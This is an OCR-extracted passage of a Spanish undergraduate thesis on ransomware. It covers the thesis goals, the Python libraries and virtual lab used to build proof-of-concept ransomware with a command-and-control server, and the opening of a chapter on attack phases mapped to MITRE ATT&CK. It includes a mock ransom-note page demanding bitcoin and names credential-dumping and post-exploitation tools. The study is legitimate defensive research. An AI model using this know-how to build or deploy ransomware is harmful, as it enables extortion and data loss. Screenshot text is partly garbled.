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Resumen

Dentro de los ataques informaticos existentes, el ransomware se ha convertido en
principal protagonista hoy dia debido al rapido crecimiento y evolucién que ha tomado
desde su origen. Defenderse de este tipo de amenaza es una prioridad a nivel mundial
debido al incremento de su presencia. A todos nos preocupa la proteccién y privacidad
de nuestra informacién por lo que un estudio de la materia ayudaria a poner barreras,

establecer politicas y buscar soluciones a este problema.

Este trabajo se centra en elaborar un analisis técnico completo de este tipo de software
malicioso, desarrollando para ello pruebas de concepto (PoC) que simulen un
comportamiento real y actual que ayuden a entender en qué consisten estos ataques,
para posteriormente aplicar la ingenieria inversa e intentar descifrar mediante una serie
de técnicas las acciones llevadas a cabo en la creacion de los archivos binarios
ejecutables y las operaciones que realizan sobre el sistema. Se trata de dar una visién
global: Por una parte qué es lo que podria hacer el ciberdelincuente y como lo lleva a
cabo, y por otra qué medidas toma la defensa una vez se ha producido el ataque,
buscando esclarecer qué y cémo ha sucedido, y si existe una posibilidad de revertir la

situacion.
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Abstract

Within the existing computer attacks, ransomware has become the main protagonist
today due to the rapid growth and evolution that it has taken since its origin.
Defending against this type of threat is a worldwide priority due to the increase in its
presence. We are all concerned about the protection and privacy of our information, so
a study of the matter would be helpful to set barriers, establish policies and find

solutions that allow us to tackle this issue.

This document focuses on developing a complete technical analysis of this type of
malicious software, developing proofs of concept (PoC) simulating real and current
behavior that help us understand what these attacks consist of, to subsequently apply
reverse engineering and try to decrypt the actions carried out in the creation of the
binary executable files and the operations they perform on the system using a series of
techniques. It is about giving a global vision: On the one hand, what the cybercriminal
could do and how he has carried it out, and on the other hand, the steps taken by the
defense once an attack has occurred, seeking to clarify what happened, and the way the
attack had been developed, evaluating the chances to return the system to its original

state.
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1. Introduccidon

1.1. Motivacion

El campo de la ciberseguridad ha ido tomando especial protagonismo a lo largo del
tiempo, requiriendo mayor numero de profesionales especializados. Existe un constante
ataque por parte de grupos organizados que buscando un beneficio provocan grandes
pérdidas econdmicas y de confianza a numerosas organizaciones empresariales y

administraciones publicas, afectando también a usuarios particulares.

Todos podemos ser victimas de este conglomerado de acciones ilicitas llevadas a cabo a
través de Internet, entendiendo ésta como un conjunto de redes interconectadas a nivel
mundial. El malware que méas trascendencia estda cogiendo en la actualidad es el
ransomware, provocado en buena medida por la aparicion de las criptomonedas, de
dificil rastreo, haciendo posible alcanzar altos ingresos a través de ellas. Las constantes
publicaciones de victimas afectadas a nivel global dan fe de esta problematica, que

parece estar lejos de solucionarse.

La aparicién del modelo del ransomware como servicio (RaaS — Ransomware as a
Service) ha multiplicado el ntimero de ocurrencias, donde un grupo de cibercriminales
pone a la venta este tipo de software malicioso para que cualquier persona interesada
pueda realizar un ataque de estas caracteristicas. Algunos ejemplos RaaS destacados

son Ryuk, REvil/Sodinokibi, Dharma o WannaCry [1].



El efecto a nivel profesional que tuvo la apariciéon en escena del ransomware WannaCry
(2017) aumento el interés por conocer de primera mano este tipo de software y sus
implicaciones, lo que ha dado pie a la eleccién de esta tematica para desarrollar el

Trabajo de Fin de Grado.

1.2. Objetivos

El objetivo es conocer a fondo en qué consiste este tipo de ataques y cémo proceder

para obtener informacion en caso de infeccién en un sistema informatico.

Realizar un anélisis técnico del cédigo de numerosos ejemplos ya implementados como
pruebas de concepto, esclareciendo el funcionamiento y las fases llevadas a cabo por
este tipo de malware y describiendo las fases en las que se divide un ataque por

ransomware.

Desarrollar una o varias pruebas de concepto que cubran las operaciones basicas
analizadas, estudiar las técnicas empleadas para la intrusion en los sistemas que
posibilita la instalacién y despliegue del malware, métodos utilizados para evadir los
controles de seguridad y antivirus y técnicas de ingenieria inversa sobre el ejecutable

para tratar de evidenciar un comportamiento malicioso del mismo.

Ejecutar en un entorno controlado las pruebas de concepto implementadas para

comprobar su funcionamiento.

Representar graficamente tanto el funcionamiento del malware como el desarrollo del

ataque mediante diagramas.



1.3. Metodologia

La metodologia utilizada ha consistido en una primera fase de planificacion del trabajo
a desarrollar, estableciendo un orden cronolégico, analizando cuales eran los
conocimientos necesarios a adquirir para realizarlo, aplicaciones empleadas para llevar a
cabo test de penetracion, virtualizacion, lenguajes de programacion, técnicas de
ofuscacion de codigo fuente, técnicas de evasion de antivirus, en qué se basa el software
de proteccion para identificar las amenazas... seguido por una busqueda y estudio de
documentacién relacionada, profundizando en aquello que ha resultado de mayor

interés.

La siguiente fase se ha basado en realizar un anélisis del c6digo de numerosos ejemplos
seleccionados [2]-[21], y empleando el lenguaje de programacion Python se han
desarrollado dos tipos de ransomware como Pruebas de Concepto (PoC) que cubren las
funcionalidades estudiadas, para posteriormente generar ejecutables que contengan el
malware y otras utilidades, entre ellas una herramienta para descifrar los equipos

infectados.

Se han explorado técnicas que los ciberdelincuentes utilizan en la actualidad para crear
malware y para evitar ser detectados, ademas de técnicas que utiliza el bando de la
defensa para identificar este tipo de software y técnicas que emplean la ingenieria

inversa para descifrar las operaciones que realizan los ejecutables maliciosos.

Se ha desplegado una infraestructura virtualizada para realizar las pruebas de
funcionamiento en un entorno controlado y simular un ataque, comprobando el efecto

de las operaciones realizadas y la seguridad de las comunicaciones.



Los procesos se representan mediante diagramas utilizando software especifico para

generarlos.

1.4. Estructura de la memoria

Tras este apartado introductorio, el cuerpo de la memoria se encuentra dividido en los
siguientes capitulos: Tecnologias utilizadas, fases del ransomware, pruebas de concepto,
ingenieria inversa, deteccion del ransomware, vectores de ataque y conclusiones y lineas

futuras.

En el capitulo de tecnologias utilizadas se describe el lenguaje elegido para realizar las
pruebas de concepto, un recorrido por las librerias de mayor calado que intervienen en
el desarrollo, y una breve descripcion de otras herramientas empleadas durante la
realizacion de este trabajo, que implica el conocimiento de muchos ambitos de la
informatica, desarrollo de codigo fuente, bases de datos, desarrollo web, seguridad

informatica, virtualizacion, sistemas operativos, redes...

Seguidamente se exploran las fases comunes que todo ransomware desarrolla durante su

ejecucion, explicando técnicamente cada una de ellas en mayor profundidad.

Se definen a continuacién las dos pruebas de concepto implementadas, infraestructura,

funcionamiento y diferencias.

El capitulo de ingenieria inversa se centra inicialmente en técnicas utilizadas por los
creadores de este tipo de software para ocultar la malicia de los ejecutables, evadir los

sistemas de proteccion y dificultar la labor de forenses y analistas de seguridad. Con



este conocimiento se estudia después la ingenieria inversa para tratar de evidenciar y

clarificar las operaciones realizadas por el ransomware.

Los vectores de ataque permiten conocer los caminos que los ciberdelincuentes utilizan
para desplegar este tipo de infecciones. Dentro de este capitulo se realiza como ejemplo
una prueba de penetracion explotando una vulnerabilidad, ademas de mostrar el
procedimiento de inyectar una carga tutil de codigo o shellcode en un fichero legitimo

para tomar el control de una maquina.

En el ultimo capitulo de conclusiones y lineas futuras se expone el punto de vista
después de lo explorado y estudiado, lo que ha supuesto este aprendizaje, y cémo puede

servir de base para posteriores trabajos.






2. Tecnologias

utilizadas

2.1. Lenguaje Python y librerias utilizadas para el desarrollo del

ransomware

Python es el lenguaje de programacion elegido para realizar la codificacion, en su
version 3.8.10, por ser un lenguaje de interés muy utilizado en la actualidad, con
multitud de librerias y frameworks disponibles [22]-[23]. Apareci6 en 1991, disenado por
Guido Van Rossum. Es un lenguaje de alto nivel interpretado y multiplataforma; su
portabilidad permite que se haya usado tanto en sistemas Microsoft Windows como

Linux para realizar las pruebas con distintos sistemas operativos.

Otra virtud es la de estar centrado en su legibilidad, facilitando por ello la codificacion.
Siendo de proposito general, se puede utilizar para desarrollar aplicaciones de toda
indole. Dispone de multiples paradigmas, siendo la programacion estructural o
imperativa la empleada para desarrollar el codigo. Ademés de contemplar varios tipos

de tipado, dinamico y fuertemente tipado. La codificaciéon de las pruebas de concepto



implementadas usan el tipado dinamico pero anadiendo informacién en los parametros

de las funciones, para mayor legibilidad (type hints).

En el ano 2001 se le cambié a Python la licencia, existiendo hoy dia la Python Software
Foundation License (PSFL), licencia de software libre permisiva y aprobada por la Free
Software Foundation (FSF) y por la Open Source Initiative (OSI), cumpliendo sus
requisitos. La Python Software Foundation (PSF) es una organizacién sin &nimo de
lucro creada en 2001, cuya misién es, entre otras, la de fomentar el desarrollo de la
comunidad Python, siendo responsable del desarrollo Python, de la administracion de

derechos intelectuales y de recaudar fondos.

Entre los inconvenientes encontrados destaca el alto consumo de memoria, debido a la
flexibilidad de sus tipos de datos, el tipado dindmico. Al ser un lenguaje interpretado,
utilizarlo para el fin que se le ha dado en este trabajo requiere que el ejecutable
contenga también el intérprete, de manera que no dependa de si existe dicho intérprete
en la maquina objetivo de la infeccion, por lo que el tamano del ejecutable también sera

mayor.

Otro inconveniente es el uso de threads [24]-[25] en lugar de subprocesos; si se busca
mejorar el rendimiento de la aplicaciéon anadiendo concurrencia a través de threads,
siendo estos mas ligeros que los subprocesos y compartiendo el mismo espacio de
memoria, vemos que solo un thread de un proceso podra ejecutarse a la vez en un
determinado momento. Esto es debido a la existencia del Global Interpreter Lock
(GIL), cuya misién es la de evitar que mas de un thread pueda tomar el control del
intérprete a la vez, previniendo que espacios de memoria sean liberados cuando atn
estan siendo utilizados. A pesar de ello, GIL aumenta la velocidad de ejecucién cuando

se trabaja con un solo thread, y hace més sencilla la implementacion de Python. Como



solucion se propone el uso de multiprocesamiento, que puede llevarse a cabo a través de

la libreria multiprocessing.

La libreria estandar de Python es muy extensa y comprende una gran cantidad de
modulos, generando una amplia lista de contenidos [26]. A continuacién se describen
someramente algunas de las librerias comunes que suelen utilizarse para el desarrollo

del ransomware.

2.1.1. Librerias estandar y de sistema

oS

La libreria del Sistema Operativo es la biblioteca estandar, contiene cientos de
funciones, muchas de ellas imprescindibles para nuestro cometido. Muy
importante en la obtencién de parametros ambientales, como es la informacion
de hardware y software del sistema, y para realizar operaciones con rutas a

través de la sublibreria os.path.

 Platform

Proporciona el acceso a los datos identificativos de la plataforma subyacente.
Con esta libreria se puede obtener informacion util acerca del software y
hardware del equipo atacado, nombre del equipo en red, datos del sistema

operativo, distribucién de Python que utiliza, procesador...



Getpass

Este modulo, creado para gestionar de forma segura la entrada de contrasenas,
permite retornar el nombre de inicio de sesiéon del usuario con la funcién
getuser(), siendo este método preferible al uso de la libreria os para obtener el

mismo objetivo, con la funcién os.getlogin().

Psutil

Libreria multiplataforma que proporciona informaciéon acerca de procesos y
utilidades del sistema (process and system utilities). Se pueden consultar los
procesos en ejecucion y la utilizaciéon del sistema (cpu, memoria, discos y
sensores). Util para obtener informacién del sistema por parte del atacante, para
consultar el ntmero de discos, particiones, tamano ocupado y disponible,

procesos que indican aplicaciones particulares en ejecucion...

2.1.2. Sockets, SSH y seguridad en las comunicaciones

Socket

La biblioteca de Interfaz de red de bajo nivel nos permite el acceso a la interfaz
BSD socket, y esta disponible en practicamente todas las plataformas Unix,
Windows, MacOS... Se utiliza para realizar conexiones entre cliente-servidor,
para envio de ficheros o cualquier otra comunicacién a través de direcciones IP y

puertos mediante la creacion de un objeto de tipo socket.
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e SSL

Es el empaquetador o wrapper TLS/SSL para objetos de tipo socket. Médulo
utilizado para el acceso a las funciones de cifrado de seguridad de la capa de
transporte (capa de sockets seguros). Con estas funciones aseguramos las
conexiones entre victima y atacante, cifrando su contenido. Para ello hace uso
de la libreria OpenSSL, que suele estar instalada en todos los sistemas. Podemos
crear contextos SSL a través de la clase ssl.SSLSocket para configurar el socket

y utilizar OpenSSL para la generacion de los certificados.

e Paramiko — SCP

Es una implementacion en Python nativo del protocolo SSHv2, ofreciendo
funcionalidad tanto al cliente como al servidor. En este trabajo se utiliza para la
transferencia de ficheros a través del protocolo seguro SSH en su version 2.
Dispone de modulos de alto y bajo nivel para tareas mas especificas. Paramiko

viene instalado por defecto. El médulo scp necesita de instalacion previa, ofrece

el cliente scp, SCPClient() [27].

2.1.3. Interfaces Graficas de Usuario (GUI)

e Tkinter — Tk

Tkinter Es la interfaz de Python para Tcl/Tk, disponible en la mayoria de las
plataformas Unix como en sistemas Windows. Tcl/Tk estd indicado para
administrar ventanas, comprende un conjunto robusto de herramientas, siendo

ademas independiente de la plataforma. Con estos modulos se construyen las
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interfaces graficas de usuario (GUI). Se ha utilizado para crear una pequenia
interfaz de usuario para descifrar los ficheros de los equipos afectados por el
ransomware y para dar mensajes informativos. Como contrapartida, al crear los
ejecutables e integrar estas librerias, el tamano del fichero crece
aproximadamente 4MB, por lo que es un factor a tener en cuenta si se quiere

utilizar para este propoésito y se pretende generar un ejecutable mas liviano.

2.1.4. Librerias criptograficas

Cryptography

Incluye tanto médulos de alto nivel como interfaces de bajo nivel para utilizar
los algoritmos criptograficos comunes, incluyendo cifrado simétrico, digestion de
mensajes (message digest) y generacion de claves. Existen dos capas, la de alto
nivel, con funciones seguras ya definidas, y una de bajo nivel donde hay que
tener mayor conocimiento y precision a la hora de utilizarla. Se ha
implementado el cifrado simétrico del modulo de alto nivel Fernet en una de las
pruebas de concepto. Fernet hace uso del algoritmo AES en modo CBC con una
clave de 128 bits para el cifrado, usando el padding PKCS7. Para autenticar,
utiliza HMAC con SHA256. Los vectores de inicializacién los genera con el

método os.urandomy().

Como limitacién, ademas de no poder parametrizar el modelo de cifrado, no es
un método recomendable para ficheros de gran tamano; debido a las
caracteristicas del diseno de este método, el contenido del fichero o mensaje a

encriptar debe estar disponible en memoria al completo [28§].
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Crypto — Pycryptodome

Crypto proporciona servicios criptograficos. Dispone del moddulo secrets,
empleado para generar cadenas seguras de nimeros aleatorios para la gestion de
claves, siendo una opcién preferible a os.urandom() utilizado por el médulo
Fernet de la libreria cryptography. También ofrece el médulo hashlib, para
hashes seguros y digestion de mensajes (message digest) y el médulo hmac para

autenticacion de mensajes por clave-hashing.

Por otro lado se utiliza PyCryptodome, fork de la libreria PyCrypto con
sustanciales mejoras e integrado en el paquete Crypto, presenta una
implementacién de algoritmos criptograficos y primitivas de bajo nivel que dan
lugar a una mayor flexibilidad a la hora de configurar el cifrado. Estas librerias
se usan en las dos prueba de concepto (PoC) desarrolladas, aunque en la prueba

tipo 2 se ha mantenido la ejecucién del método Fernet para el cifrado.

Aunque PyCryptodome no es un envoltorio o wrapper de una libreria C, como si
lo es OpenSSL, no todos los algoritmos se han implementado en Python puro,
existen algunos fragmentos que por su criticidad en el rendimiento se han

desarrollado como extensiones de C, como el cifrado de bloques [29)].

2.1.5. Geolocalizacién

Geoip — Geolite2

Libreria que provee métodos para trabajar con bases de datos de Maxmind,

empresa que ofrece bases de datos y servicios de geolocalizaciéon con licencia
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comercial. Incluye una base de datos gratuita, Geolite2, que puede almacenarse
en el servidor sin tener que realizar consultas web para poder resolver
direcciones. Después de probar Geolite2 en los scripts se aprecia que tiene muy
poca precision debido a la falta de actualizaciones, por lo que se ha optado por
utilizar otra libreria, ya que existen muchas opciones para llevar a cabo esta

tarea.

* Ipapi

IP-API es una interfaz de geolocalizacién gratuita para uso no comercial, activa
desde el afio 2012. Esta es la libreria elegida para realizar la geolocalizacion por
su precision y actualizacion de su base de datos. Pueden realizarse 45 consultas
por minuto desde una misma IP. Esto no supondrd un problema si se resuelven

las direcciones desde la maquina atacada [30)].

o Ipify

Libreria utilizada para obtener la IP ptblica con su método get ip(). Tiene

servicio de geolocalizacion, aunque con licencia comercial.

2.1.6. Compresion de ficheros

» Zipfile

Para trabajar con ficheros ZIP, esta libreria proporciona herramientas para
crear, leer, escribir, adjuntar y listar ficheros comprimidos. Aunque soporta

cifrado y descifrado de archivos ZIP, actualmente no puede crear ficheros
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cifrados. Otro punto a resenar es la lentitud con la que descifra los ficheros
puesto que se ha implementado en Python nativo en lugar de C. Es por esto que
a pesar de haberse tenido en cuenta, no se ha utilizado en las pruebas de

concepto.

* Pyzipper

Esta libreria complementa al moédulo Zipfile, es un fork de su version 3.7. Puede
leer y escribir ficheros encriptados con AES, y cifrar ficheros asignandole una
clave. Por ello se ha utilizado en la codificacion del ransomware. Por defecto
utiliza AES con 256 bits de fortaleza, aunque puede ser configurable a 128 y 192

bits [31].

* Bzip2 - gzip — lzma

Modulos utilizados para aplicar el tipo de compresion respectivo de cada
nombre. En el trabajo entran en escena en la fase de ofuscacion, donde se aplica
una capa mas de ocultacién a través de la compresion de los ficheros con el
coddigo ejecutable. Cada modelo tiene sus particularidades pudiendo ser maés

eficiente uno que otro en determinadas ocasiones.

2.2. Visual Studio Code (VS Code)

Version 1.67.2 para Windows y Linux, desarrollado por Microsoft. Es el editor de
codigo fuente elegido para crear las pruebas de concepto. Muy utilizado actualmente

por la comunidad de desarrolladores, con licencia MIT [32].
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Se anaden algunas extensiones como PrintCode versiéon 3.0.0, que permite imprimir el
cédigo en formato pdf, la extension autopep8 para formatear el cédigo conforme a la
guia de estilo PEP 8 (Python Enhancement Proposal - Propuesta de Mejora Python)
33], la extensién Python v2022.6.2 de Microsoft, que mejora el soporte del editor para
el lenguaje y para IntelliSense, que es la funcién de autocompletado y que incluye
Pylance como dependencia, el nuevo servidor de lenguaje para Python que facilita el
trabajo al desarrollador ofreciendo muchas utilidades, como sugerir el tipo de

parametros sobre la marcha, sugerir y auto importar modulos, completar cédigo...

e icual Stuclio Code

o Visual Studio Code
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@oio Ut eol 1 Espacios: 4 U8 11 Python 3104 6a-bil {winduwes sloe) 5

Tlustracién 1: Visual Studio Code

Se ha utilizado tanto en Windows como en Linux para depurar el codigo implementado

y comprobar el correcto funcionamiento en las dos plataformas.
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2.3. VirtualBox

Versién 6.1.32. Software de virtualizaciéon para arquitecturas x86/amd64, con licencia
GPLv2, desarrollado actualmente por Oracle Corporation [34]. Se utiliza para simular
la red donde se llevaran a cabo las pruebas de penetraciéon y el despliegue de las
pruebas de concepto. La implementacién del coédigo y las pruebas del software se
realizan también en maquinas virtuales, diferenciandose estas maquinas dependiendo de

la plataforma a la que estaban orientadas los ficheros ejecutables.
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Tlustracion 2: VirtualBox

Las maquinas virtuales creadas para cumplir los objetivos de este trabajo se describen a

continuacion:

*  M4dquina Ubuntu 20.04.3 LTS (64 bits). Utilizada para desarrollar el cédigo y

para realizar pruebas de ejecucion del ransomware en la plataforma Linux,
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ademas de todas las operaciones relacionadas con la ingenieria inversa a partir

de las aplicaciones estudiadas e instaladas en dicho sistema operativo.

Maquina Windows 10 Pro (64 bits). Tiene las mismas funciones que la maquina
Ubuntu anterior pero en la plataforma Windows. Todo el trabajo se ha realizado

bajo estas dos maquinas virtuales.

Maquina Ubuntu Server 20.04.3 LTS (64 bits). Es el servidor de mando y
control del ransomware desarrollado como prueba de concepto. Incluye la
instalacion de todas las aplicaciones y librerias necesarias para desarrollar el
cddigo a ejecutar en el servidor y realizar las pruebas de funcionamiento. Esta
maquina también se utiliza para instalar la base de datos MariaDB y su gestor

DBeaver, quedando ambos sistemas en el mismo servidor de mando y control.

Méaquina Kali Linux 2022.2 (64 bits). Sistema operativo sucesor de BackTrack
basado en Debian GNU/Linux, desarrollado por Offensive Security, disenado
para auditoria y seguridad informética. Tiene licencia GPLv2, aunque muchos
componentes y aplicaciones incluidos pueden tener otro tipo de licencia. Se
utiliza para realizar pruebas de penetracion en equipos para desplegar el
ransomware. Entre las herramientas incorporadas que han sido de utilidad en
este trabajo aparece el Framework Metasploit, Nmap y Wireshark, ademas de
anadir otras como el escaner de vulnerabilidades OpenVAS. Es la maquina

utilizada por el atacante para acceder a los equipos e infectarlos.

Maquina Metasploitable3. Es una maquina virtual construida desde su base, a la

que se le han anadido y configurado una cantidad considerable de

vulnerabilidades de seguridad para facilitar el aprendizaje y realizar pruebas de
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penetracion [35]. Publicada bajo licencia tipo BSD por la compania Rapid7. Esta
maquina es el objetivo principal del atacante para obtener acceso al sistema,
desplegar el ransomware y realizar otras operaciones. Existen diferencias con el
modelo anterior (Metasploitable2), las vulnerabilidades presentan mayor
complejidad a la hora de realizar los ataques y en comparacién no estd tan
documentado por lo que supone mayor reto y experiencia practicar con esta
maquina. Como contrapartida, su instalaciéon es mas compleja, requiriendo el
uso de otras aplicaciones como Vagrant, Packer y VirtualBox. Actualmente
existen dos versiones, una con sistema operativo Windows Server 2008 y otra

con Ubuntu 14.04, las dos desplegadas en este trabajo.

2.4. MariaDB y DBeaver

El sistema de gestion de bases de datos relacionales utilizado es MariaDB Community
Server en su versiéon 10.7. Derivada de MySQL, tiene licencia GPLv2 y una extensa
documentacion [36]-[37]. Se utiliza también la herramienta DBeaver Community
Edition en su versién 22.0.5 como gestor o frontend para realizar tareas de definicion,
configuraciéon y mantenimiento de la base de datos a utilizar en las pruebas de concepto
(ilustracién 3). Esta bajo licencia Apache 2.0 [38]. En este trabajo se define una base de
datos con una unica tabla donde almacenar los datos de las victimas afectadas por el

ransomware, junto con las claves de descifrado.

2.5. Otras herramientas

Otras aplicaciones utilizadas para cumplir los objetivos de este trabajo se describen

resumidamente:
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* Brackets. Es un editor de texto para el desarrollo web, en su versién 2.0.1, con
licencia MIT [39], utilizado para el diseno de la pagina html creada para

notificar la infeccion y mostrar las instrucciones del rescate (ilustracion 4).
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Tlustracion 3: DBeaver

<div class="container p-5">

<main role="main" class="inner cover">
<hl class="cover-heading", align="center", class="text-danger">Alerta:
RansomTFG!</hl>
<br>
<p class="lead">Su sistema ha sido victima de un ataque informatico.. aunque
solo es una prueba de concepto realizada como Trabajo Fin de Grado. Se ha
utilizado un algoritmo de cifrado robusto para encriptar todos sus documentos,
siendo imposible su recuperacidon sin el conocimiento de la clave de
encriptacién. Si tiene interés en recuperar la informacién siga las
instrucciones:</p>
<br>
<p class="lead">1 - Envie un correo electrdénice a la direccién: <a
class="text-info">*ransomtfg@protonmail.com></a><p class="lead">ponga en el
asunto el siguiente cédigo:</p>
<br=
<p class="lead">2 - Se le enviara una direccién BTC para que deposite 0.81
bitcoins (BTC). Una vez haya realizado el pago envie un nuevo correo indicando
en el asunto: PAGADD. </p>
<br>
<p class="lead">3 - Comprobado el pago recibirad un fichero ejecutable que
automdticamente desencriptard todos sus archives, restaurando el equipo a su
estado original y eliminando todo rastro provocado por esta infeccidn.</p>

<fmain>

Lirea 13, Calumna 30 JTF-8 HTHML = Espacivs 4

Tlustracion 4: Brackets
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Editores hexadecimales. En plataforma Windows se ha usado HxD [40]
(ilustracién 5), mientras que en Linux se ha optado por Bless [41] (ilustracion 6).
-
] Archivo Edicion Buscar Ver Andlisis Extras Ventanas Ayuda -8 X
- B @~ 16 | Windows (ANSI) w | hex w
] ransomTFG.pyc Editores especiales x

Offset(h) 00 Ol 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Texto decodificado ® | Inspectorde datos

33 0D 0D OA informacion ® |
£3 00 00 oL 4 4 b bl
00 0 00 00 Binary (8 bit) 00110011 A
es 01 ec oo XU HxD Hex Editor Int8 Iz 51
SHee o 61 g Version 2.5.0.0 (x86-64) Int16 lra: 3379
en - godpynight‘;g 2032-2021 M:el Harz Ulnt16 Iz 3379
odos los derechos reservados
4 €6C 0B Int24 lra: 855347
_ :'5 ¥ www.mh-nexus.de Ulnt24 Ira; 855347
- 6: ) support@mh-nexus.de Int32 Ira: 168627507
" 64 . Ulnt32 lra: 168627507
17 &4 09 Desarrollador principal: Int64 Ira: 168627507 .
1B €4 0D Maél Harz HintRd Ir 2+ 1RRAITSAT
IF €5 03 Orden de bytes
2585 03 Traductor: (®) Little endian (O Big endian
27 65 03 Emmanuel Carrara
2B €5 3 - [[] Base hexadecimal (para nimeros enteros)

2 £n v WA SR EA AT R AT _EA A A9 AR ER 97~ =7 A4 - A 73

Sobreescribir

Tlustracion 5: HxD

[home/tfg/pi2/dist/ransomDNOUPX_extracted/ransomD.pyc - Bless - o X
File Edit View Search Tools Help

@8 e A8 E QX
ransomD.pyc @ Acerca de Bless X
00000000 |55 0D OD OA 00 0O 00 E3|U..ciiiiiniiinnnn

00000011 (00 00 00 00 00 00 ( 00 D2 e et e ieerennnnn
00000022 |00 00 00 40 00 00 ( 01 6C|...@...5....d.d.1
00000033 |00 5A 00 65 00 A0 ( 29 02|.Z.ecciiunn d.S.) .
00000044 |E2 00 00 00 00 4E 2 6D 43|..... N) .ransomC
00000055 |F4 48 00 00 00 FO I 98 DB|.H.v i eniinnann
00000066 |B4 D9 BA FO 90 A6 ¢ B FO|iueiiinii it ieaann
00000077 |AS BA AF FO 9E RO ¢ 5 =
00000088 |B9 FO 90 BO AA D9 & L T T
00000099 |E3 82 A6 D8 B5 D8 2 00 72| ¢ e eeeenaenn Fe...r
000000aa|04 00 00 00 7A OA I BIESS 0.6.0 79 DA|....z.ransomD.py.
000000bkb |08 3C 6D 6F 64 75 ¢ Bless is a Hex Editor For Gtk# 00 00| .<module>....s...
Signed 8 bit: 13 Signed COPYright 2004 - 2008 Alexandros Frantzis |yexadecimal: 0D 0D 0A 00 °
. . . http://home.gna.org/bless .

Unsigned 8 bit: 13 Unsigne Decimal: 013013010 000
Signed 16 bit: 3341 Floaf | Creditos Cerrar Octal: 015015012 000
Unsigned 16 bit: 3341 Float 64 bit: 3,25441534981275E-318 Binary: 00001101 00001101

@ Show little endian decoding Show unsigned as hexadecimal ASCll Text: -

Offset: 0x1 /0Oxce Selection: None INS

Tlustracion 6: Bless
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Herramientas descritas con mayor detalle en esta memoria como el Framework

Metasploit, Wireshark, Shellter, Msfvenom, OpenVAS, Nmap, Pylnstaller,

Pyinsxtractor, Yara, ClamAV, el servicio de VirusTotal.

Gliffy. Se ha utilizado para elaborar diagramas incluidos en esta memoria

LibreOffice. En su versién 7.2.7, para elaborar la memoria de este trabajo con el

procesador de textos Writer.
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3. Fases del

ransomware

Existen distintas clasificaciones que describen las fases de un ataque por ransomware.
Algunas incluyen operaciones realizadas antes y después de la ejecucién del software
malicioso, otras se centran Unicamente en las operaciones que realiza dicho malware. A
pesar de la variedad de familias existentes, las de nueva creaciéon que van apareciendo y
que no todas operan igual, se pueden definir una serie de fases que si suelen ser
comunes en todas ellas. El ataque puede dividirse en un conjunto de etapas, pudiendo
realizar algunas de ellas el ciberdelincuente o directamente codificarlas en el ejecutable

malicioso.

MITRE es una organizaciéon sin dnimo de lucro dedicada a la ciberseguridad. Realiza
numerosas publicaciones [42] que ayudan a las corporaciones a estar formadas y
actualizadas, junto con la creaciéon de una base de conocimiento gratuita y accesible
globalmente. Este marco informativo es el llamado MITRE ATT&CK [43]; comprende
las tacticas u operaciones sobre un sistema que llevan a cabo los cibercriminales, que
han sido descubiertas y observadas en el mundo real, las técnicas que emplean para

llevar a cabo estas operaciones, y ofrece una serie de mitigaciones y detecciones para
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cada una de las técnicas junto con infinidad de ejemplos reales. A su vez se clasifican en
3 grupos: “Enterprise”, para estaciones de trabajo, sistemas de escritorio y servidores
con diferentes sistemas operativos, “Mobile” para dispositivos moviles con sistemas
operativos Android o 10S, e “ICS” o Sistemas de Control Industrial. Puesto que esta
base de conocimiento va actualizindose conforme aparecen nuevas amenazas, tacticas y
técnicas, se indica que la tltima versiéon consultada es la 11.2, actualizada el 25 de

mayo de 2022.

Todas las tacticas descritas en esta base de conocimiento se relacionan en algin
momento con el ransomware, se describen las etapas comunes que pueden encontrarse,
tacticas y técnicas, pudiendo variar su orden de ejecuciéon dependiendo de la familia a

la que pertenezca el ransomware.

3.1. Comprometiendo la seguridad

La primera fase consiste en obtener acceso al equipo de la victima comprometiendo su
seguridad. En el marco ATT&CK se identifica con la téctica TA0001 (Initial Access),
aunque también involucraria otras tacticas como la TA0043 (Reconnaissance), donde
previamente se produciria un escaner de bloques de IP, buscando servicios activos
vulnerables o emplearse cualquiera de los vectores de ataque existentes. Pueden darse
infecciones mas sofisticadas explotando alguna vulnerabilidad que permitan desplegar el
ransomware o cualquier otro tipo de malware, emprender una campana de correos

maliciosos, distribuir el fichero ejecutable por redes peer to peer (p2p)...

Los ataques dirigidos suelen buscar vulnerabilidades en los equipos de una organizacion,

escalar privilegios y realizar movimientos laterales para conseguir el mayor ntimero de

maquinas donde desplegar la infeccién. En la ilustraciéon 7 se muestra un posible
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escenario, donde conviven usuarios domésticos con diferentes sistemas operativos, redes
de organizaciones empresariales o administraciones publicas, servidores maliciosos que
distribuyen el malware a través de descargas o redes de pares (P2P) asi como
ciberdelincuentes que atacan a los posibles objetivos para instalar el software malicioso,
algunos con mayor infraestructura, contando con servidores de mando y control (C2),

todos ellos interconectados a través de Internet.

T
ANFS,

Y
Servidor Web malicioso

Sl R o crmno b |
a h Ransomware | Empresao Administracion Publica

Usuario Wihdows 1 i d
\

v

Usuario Linux ’ e

!
L[!:)“ d | H
e \'
A

= # r el
o 2.
"r, Ranso?wware v :
Usuario Mac = = Servidor BBDD
. ' 1111

And?-g,d g_z !, Servidor Mando y Control

Ciberdelincuente

[lustracion 7: Escenario global de amenaza por ransomware

3.2. Desplegando herramientas

Los grupos cibercriminales suelen utilizar numerosas herramientas para conseguir sus

objetivos. Una vez se ha tenido acceso al equipo se descargan desde servidores de
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mando y control o transfiriéndolas mediante un malware que lleva el paquete de
herramientas necesarias incluido. Es frecuente también el uso de servicios en la nube
como Google Drive, Dropbox, SendGrid o Constant Contact para hospedar y distribuir

el software malicioso.

A partir de aqui se busca informacién acerca del entorno con herramientas como Nmap,
Process Hacker o BloodHound [44], se vuelcan credenciales de inicio de sesién a la caza
de una cuenta privilegiada para poder realizar movimientos laterales con Kiwi,
SecretsDump o ProcDump [45], o se utilizan programas o aplicaciones nativas del
sistema operativo como PowerShell, WMI (Windows Management Instrumentation) o
PSExec para eliminar copias de seguridad locales o crear puertas traseras. Suelen
emplearse keyloggers que facilitan los movimientos laterales, clientes para tunelizar
conexiones como Plink SSH Tunneling Tool o Ligolo. Se esta incrementando el uso de
Cobalt Strike como herramienta para el acceso y para la post-explotacion, siendo una

de las preferidas en la actualidad, permitiendo realizar movimientos laterales y acceder

a controladores de dominio [46].

En el marco MITRE ATT&CK la tactica que hace correspondencia seria la TA0042
(Resource Development) y la técnica que mejor lo define es la T1608 (Stage
Capabilities), que es la encargada de desplegar las herramientas, aunque existen otras
técnicas relacionadas de adquisiciéon de herramientas mediante compra o rompiendo el

